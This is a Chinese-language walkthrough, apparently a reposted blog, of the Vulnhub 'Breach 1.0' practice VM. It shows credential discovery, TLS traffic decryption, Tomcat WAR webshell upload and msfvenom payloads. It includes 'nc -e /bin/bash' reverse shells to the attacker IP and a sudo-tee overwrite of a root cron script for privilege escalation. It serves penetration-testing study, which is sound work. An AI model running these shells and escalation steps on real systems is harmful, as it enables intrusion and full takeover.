Vulnhub 渗透练习(一)—— Breach 1.0

news2024/11/25 23:19:00

环境搭建

环境下载:

https://www.vulnhub.com/entry/breach-1,152/

环境描述:

Vulnhub 中对此环境的描述:

VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到该子网。

这里我用的是 VMware ,文件 -> 打开 .ova 文件创建新的虚拟机。

这边插一段不相关的内容,浅浅的了解一下。

虚拟机三种网络模式

1、仅主机模式:也就是host_only,这种模式仅仅只让虚拟机与本地物理机通信,不可以上网;
2、NAT模式:这种模式保留仅主机模式的功能下,还能让主机上网;
3、桥接模式:直接让虚拟机使用本地主机的网卡上网。

搭建环境

攻击机(kail)IP:192.168.110.129
靶机IP:192.168.110.140

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

最后开启两个虚拟机。

信息收集

端口扫描:

nmap -p- -sF 192.168.110.140

在这里插入图片描述
指纹识别:
在这里插入图片描述

渗透测试

信息搜集

访问靶机的 80 端口,在源码中有一串 base64,二次解码后可以得到一串字符串。

在这里插入图片描述

在这里插入图片描述

pgibbons:damnitfeel$goodtobeagang$ta

点击图片跳转到另一个页面:
在这里插入图片描述
用上面获得的账密登录。
在这里插入图片描述
可以用 exploit 来找找有没有这个 cms 的漏洞,有漏洞,但是页面我们没有权限进入。

在这里插入图片描述

导入PCAP、TLS 到 wireshark

仔细观察可以发现在收件箱里面有个 .keystore 文件,这个是 java 的密钥库、用来进行通信加密用的。
在这里插入图片描述
在账户信息这里可以看到 content 。
在这里插入图片描述
其中包含了一个数据包和,一个密钥密码为 tomcat
在这里插入图片描述

可以用 keytool 来提取证书,可以用 kail 自带的 keytool。
在这里插入图片描述
根据提示使用语句,口令就是邮件里提到的 tomcat

在这里插入图片描述
然后就是把密钥导进 wireshark。(编辑 -> 首选项)

在这里插入图片描述
端口我们扫到过,tomcat 的默认端口。
在这里插入图片描述

获得 tomcat 后台地址和密码

http 流里面有管理员密码
在这里插入图片描述

/_M@nag3Me/html
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC (base64)
tomcat:Tt\5D8F(#!*u=G)4m7zB

写马 tomcat getshell (三种 or more)

直接上传大马反弹 shell

报错页面有 tomcat 的版本,那么我们就可以搜索这个版本的漏洞。

(这个 tomcat 页面其他师傅说可以用 bp 打开)
在这里插入图片描述

tomcat 服务页面上传文件处,上传大马。

在这里插入图片描述

jsp 大马,给它转成 .war 格式的文件。
在这里插入图片描述
上传完后,访问 /xxx/xxx.jsp 页面并输入密码,上面的那个大马密码是 ninty

在这里插入图片描述
在这里插入图片描述

但是总是会被定时删除,所以我们可以反弹 shell 保持连接。

nc -e /bin/bash 192.168.110.129 9090

在这里插入图片描述
在这里插入图片描述

利用 msfvenom 生成 shell 并反弹

msfconsole 
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.110.129 lport=9898 -f war -o shell.war

开启监听:

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.110.129
set lport 9898
run

上传 shell.war,并访问 /shell/ 。

启动 bash 模式。

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

利用 冰蝎 生成 shell 并反弹

下载链接

把 冰蝎自带的 jsp 马压缩为 zip 格式,然后把 .zip 改为 .war,并上传。

但是不知道为什么一直连接失败,代理也开了,还有就是用的时候卡的一批,有没有大佬知道的,@ 我一下,多谢了。

在这里插入图片描述

在这里插入图片描述

信息收集

cat /etc/passwd

cat /etc/passwd

一大堆 UID 和 GID ,那么我们要注意哪些呢。

UID:UID的值为0时,表示系统管理员;(1-99)为系统预设账号;(100-499)保留给一些服务使用;(500-65535)给一般使用者使用,user用户的UID和GID分别是1000:1000。

setuid, setgid 可以来改变这种设置.  setuid: 设置使文件在执行阶段具有文件所有者的权限。典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。  setgid: 该权限只对目录有效,目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。

发现 milton和 blumbergh 账号。
在这里插入图片描述

登录 mysql

在 /var/www 下面有个 php 文件,里面有数据库的密码。

在这里插入图片描述

翻看数据库获得用户密码

找到 milton 密码 :6450d89bd3aff1d893b85d3ad65d2ec2
在这里插入图片描述
md5 解密一下,得到密码 thelaststraw
在这里插入图片描述

切换为用户 milton

su milton
thelaststraw

在这里插入图片描述
暂时没有在 /home/milton 下发现有用的。

查一下当前是什么系统,操作系统内核是什么。

在这里插入图片描述
系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)

查看 milton 的 .bash_history 命令

发现 milton 用户曾经切换过 blumbergh 用户,需要 blumbergh 的密码。
在这里插入图片描述

找寻 blumbergh 密码

在 /var/www/html/images/bill.png 的 exif 信息有疑似密码的字符串:coffeestains

可以用 exiftool 来查询 exif 信息,或者用 strings 提取出图片可视字符,也可以用在线网站查询。
在这里插入图片描述

查看 blumbergh 历史命令

在这里插入图片描述
tidyup.sh 的作用是每三分钟,对 webapps 下的文件进行一次清理,这就是为什么上传的 shell 老是被删除的原因。
在这里插入图片描述
该定时任务 root 权限。
在这里插入图片描述

sudo -l 后发现能够以 root 权限执行 tee 命令和 tidyup.sh 脚本,而 tee 命令可以把输入的数据,复制到文件里。

那么也就是说我们可以把反弹 shell 的语句用 tee 命令写入tidyup.sh 脚本文件里,并执行这个脚本,那么不就可以拿到 root 权限了嘛。
在这里插入图片描述

利用定时任务提权

先把反弹语句写入 shell.txt。
echo "nc -e /bin/bash 192.168.110.129 9999" > shell.txt
再把 shell.txt 的内容写入 tidyup.sh 中。
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

在这里插入图片描述
写入成功。
在这里插入图片描述

等待 nc 反弹 root

此时就是 root 权限了,发现 flag 文件。
在这里插入图片描述

读取 flag

可以把 flair.jpg 给复制到我们可以查看的目录,比如 /var/www/html/images/flair.jpg

cp flair.jpg /var/www/html/images/flair.jpg

在这里插入图片描述
在这里插入图片描述

总结

跟着大佬们的步伐结合自己的思考,学会了很多东西,很多平时不曾注意到的点,也稍微知道了一些渗透的简要步骤,还有就是谢谢大佬们的无私。

参考文章

渗透测试工具一一Nmap(从初级到高级)
Vulnhub-Breach1.0
SSL证书中的keystore是什么
Msfvenom介绍及利用
反弹shell的方法总结
msfvenom之——生成各类Payload命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/345658.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

零信任-腾讯零信任iOA介绍(4)

​腾讯零信任介绍 腾讯零信任是一种信息安全架构&#xff0c;旨在通过限制对计算设备、数据和应用程序的访问来保护敏感信息。腾讯零信任的主要思想是&#xff0c;任何计算设备、数据或应用程序都不应被自动信任&#xff0c;并需要经过授权后才能访问敏感信息。 腾讯零信任的…

MyBatis的工作原理

1、读取MyBatis 配置文件&#xff1a;mybatis-config.xml 为MyBatis 的全局配置文件&#xff0c;配置了MyBatis 的运行环境等信息&#xff0c;例如数据库连接信息。 2、加载映射文件。映射文件即SQL 映射文件&#xff0c;该文件中配置了操作数据库的SQL 语句&#xff0c;需要在…

运动耳机买什么样的好、最好用的运动耳机排行榜

2月中旬&#xff0c;气温回暖&#xff0c;路面冰雪融化&#xff0c;又到了运动的好时节。难道还要每天上下班后就回家躺着嘛&#xff0c;浪费时间可耻&#xff0c;为什么不做一些更有意义的事情呢&#xff1f;即刻出发&#xff0c;开始空余&#xff0c;享受运动锻炼的乐趣&…

如何开发一个小游戏?其中有什么难点

如果仅仅针对个人开发者来讲&#xff0c;要独立开发一款大型游戏几乎无可能&#xff0c;更大成功的可能还是开发一款类似《羊了个羊》这样洗脑的小程序游戏。 所以这里主要论述小游戏开发的情况&#xff0c;也就是小程序游戏&#xff0c;首先从小游戏的开发流程来看&#xff1…

大数据之-Nifi-认识Nifi_Nifi的核心概念_Nifi核心架构_Nifi的性能_Nifi的关键特性---大数据之Nifi工作笔记0001

用来管理不同系统之间的信息流的工具. ETL工具 kettle是数据的转换 比如kettle来说,如果需要做ETL的数据特别大量特别多,他就会支持不了数据的转换会有崩溃的现象 可以看到nifi解决的是dataflow的问题,解决的是数据流的问题 可以看到Nifi的用处,用来处理数据的分发,是BS架构…

jenkins实现接口自动化持续集成(python+pytest+ Allure+git)

在用python做自动化测试时&#xff0c;我们写好代码&#xff0c;然后需要执行才能得到测试报告&#xff0c;这时我们可以通过 Jenkins 来进一步完成自动化工作。借助Jenkins&#xff0c;我们可以结合 Git/SVN 自动拉取代码&#xff0c;通过设置定时构建实现自动触发脚本执行&am…

1.6实验6:配置多区域OSPF

1.4.1实验6:配置多区域OSPF 实验需求实现OSPF多区域配置阐明OSPF的LSA的类型阐明OSPF引入外部路由的配置方法阐明向OSPF引入缺省路由的方法实验拓扑配置多区域OSPF如图1-16所示。 图1-16 配置多区域OSPF 实验步骤[1] IP地址配置

Seata源码学习(二)-源码入口

Seata源码剖析-源码入口 Seata客户端启动 首先一个Seata的客户端启动一般分为几个流程&#xff1a; 自动加载各种Bean及配置信息初始化TM初始化RM&#xff08;具体服务&#xff09;初始化分布式事务客户端完成&#xff0c;代理数据源连接TC&#xff08;Seata服务端&#xff…

第三部分:(主从)复合句——第二章:定语从句

若多件事不一样重要&#xff0c;连接到一块就构成了主从复合句&#xff0c;主要的事情写成主句&#xff0c;次要的事情写成从句&#xff0c;从句虽然不是主要描述的事情&#xff0c;但从句是考试常考的地方&#xff0c;从句有很多复杂的变化&#xff0c;前面需要加上一些连接词…

118.(leaflet篇)leaflet空间判断-点与geojson面图层的空间关系(turf实现)

听老人家说:多看美女会长寿 地图之家总目录(订阅之前建议先查看该博客) 文章末尾处提供保证可运行完整代码包,运行如有问题,可“私信”博主。 效果如下所示: 下面献上完整代码,代码重要位置会做相应解释 <!DOCTYPE html> <html>

【算法自由之路】 贪心算法

贪心算法 局部最右得到全局最右难点在于如何证明局部最优可以得到全局最优堆 和 排序 是贪心算法最常用的实现算法 贪心算法作为最符合自然智慧的算法&#xff0c;思路是从小部分取最优从而获得最终的最优&#xff0c;但是难得是怎样获取部分最优才能得到全局最优。 有时候我…

9个EXCEL舍入函数公式的用法和实例

用法和实例 1. ROUND ROUND函数可以将数字四舍五入到指定的小数位数。 语法&#xff1a;ROUND(number, num_digits) number&#xff1a;要四舍五入的数字。 num_digits&#xff1a;要保留的小数位数。 举例&#xff1a; ROUND(3.14159,2)&#xff0c;结果为3.14 ROUND(3.141…

如何在Excel中向下拉列表中添加条件

在Excel中向下拉列表中添加条件 创建矩阵型数据集创建下拉列表创建第一个下拉列表创建第二个下拉列表你可以使用Microsoft Excel下拉列表来显示一个简单的列表,尽管有时需要更多的控制。假设你的人员分散在四个地区:北部、南部、东部和西部。你希望按地区与人员合作,而不是与…

界面组件DevExpress Reporting v22.2 - 增强的Web报表组件UI

DevExpress Reporting是.NET Framework下功能完善的报表平台&#xff0c;它附带了易于使用的Visual Studio报表设计器和丰富的报表控件集&#xff0c;包括数据透视表、图表&#xff0c;因此您可以构建无与伦比、信息清晰的报表。DevExpress Reporting v22.2版本已正式发布&…

【LeetCode】剑指 Offer 04. 二维数组中的查找 p44 -- Java Version

题目链接&#xff1a; https://leetcode.cn/problems/er-wei-shu-zu-zhong-de-cha-zhao-lcof/ 1. 题目介绍&#xff08;04. 二维数组中的查找&#xff09; 在一个 n * m 的二维数组中&#xff0c;每一行都按照从左到右 非递减 的顺序排序&#xff0c;每一列都按照从上到下 非递…

为什么要有分布式锁?

Redis避坑指南&#xff1a;为什么要有分布式锁&#xff1f;作者&#xff1a;京东保险 张江涛1、为什么要有分布式锁&#xff1f;JUC提供的锁机制&#xff0c;可以保证在同一个JVM进程中同一时刻只有一个线程执行操作逻辑&#xff1b;多服务多节点的情况下&#xff0c;就意味着有…

2023最新Java面试手册(性能优化+微服务架构+并发编程+开源框架)

Java面试手册 一、性能优化面试专栏 1.1、 tomcat性能优化整理 1.2、JVM性能优化整理 1.3、Mysql性能优化整理 二、微服务架构面试专栏 2.1、SpringCloud面试整理 2.2、SpringBoot面试整理 2.3、Dubbo面试整理 三、并发编程高级面试专栏 四、开源框架面试题专栏 4.1、Sprin…

勒索软件、网络钓鱼、零信任和网络安全的新常态

当疫情来袭时&#xff0c;网络罪犯看到了他们的机会。随着公司办公、政府机构、学校和大学从以往的工作模式转向远程线上办公模式&#xff0c;甚至许多医疗保健设施都转向线上&#xff0c;这种快速的过渡性质导致了不可避免的网络安全漏洞。消费者宽带和个人设备破坏了企业安全…

name不能作为js的变量名

今天看红宝书的时候&#xff0c;看中到&#xff1a; null和undefined值没有toString()方法&#xff0c;而String()却能够将null和undefined转化成对应的字符串。 想着去尝试一下&#xff0c;用到了name作为变量值&#xff0c;发现让name为null或undefined的时候&#xff0c;就…

(C00102)基于Servlet的在线服装销售管理系统——有文档

基于Servlet的在线服装销售管理系统项目简介项目获取开发环境项目技术运行截图项目简介 本项目是基于J2EE的servlet的在线服装销售管理系统&#xff0c;衣服、裤子、上衣等等&#xff0c;本项目有三种权限&#xff1a;游客、用户、管理员 游客&#xff1a;服装浏览、加入购物车…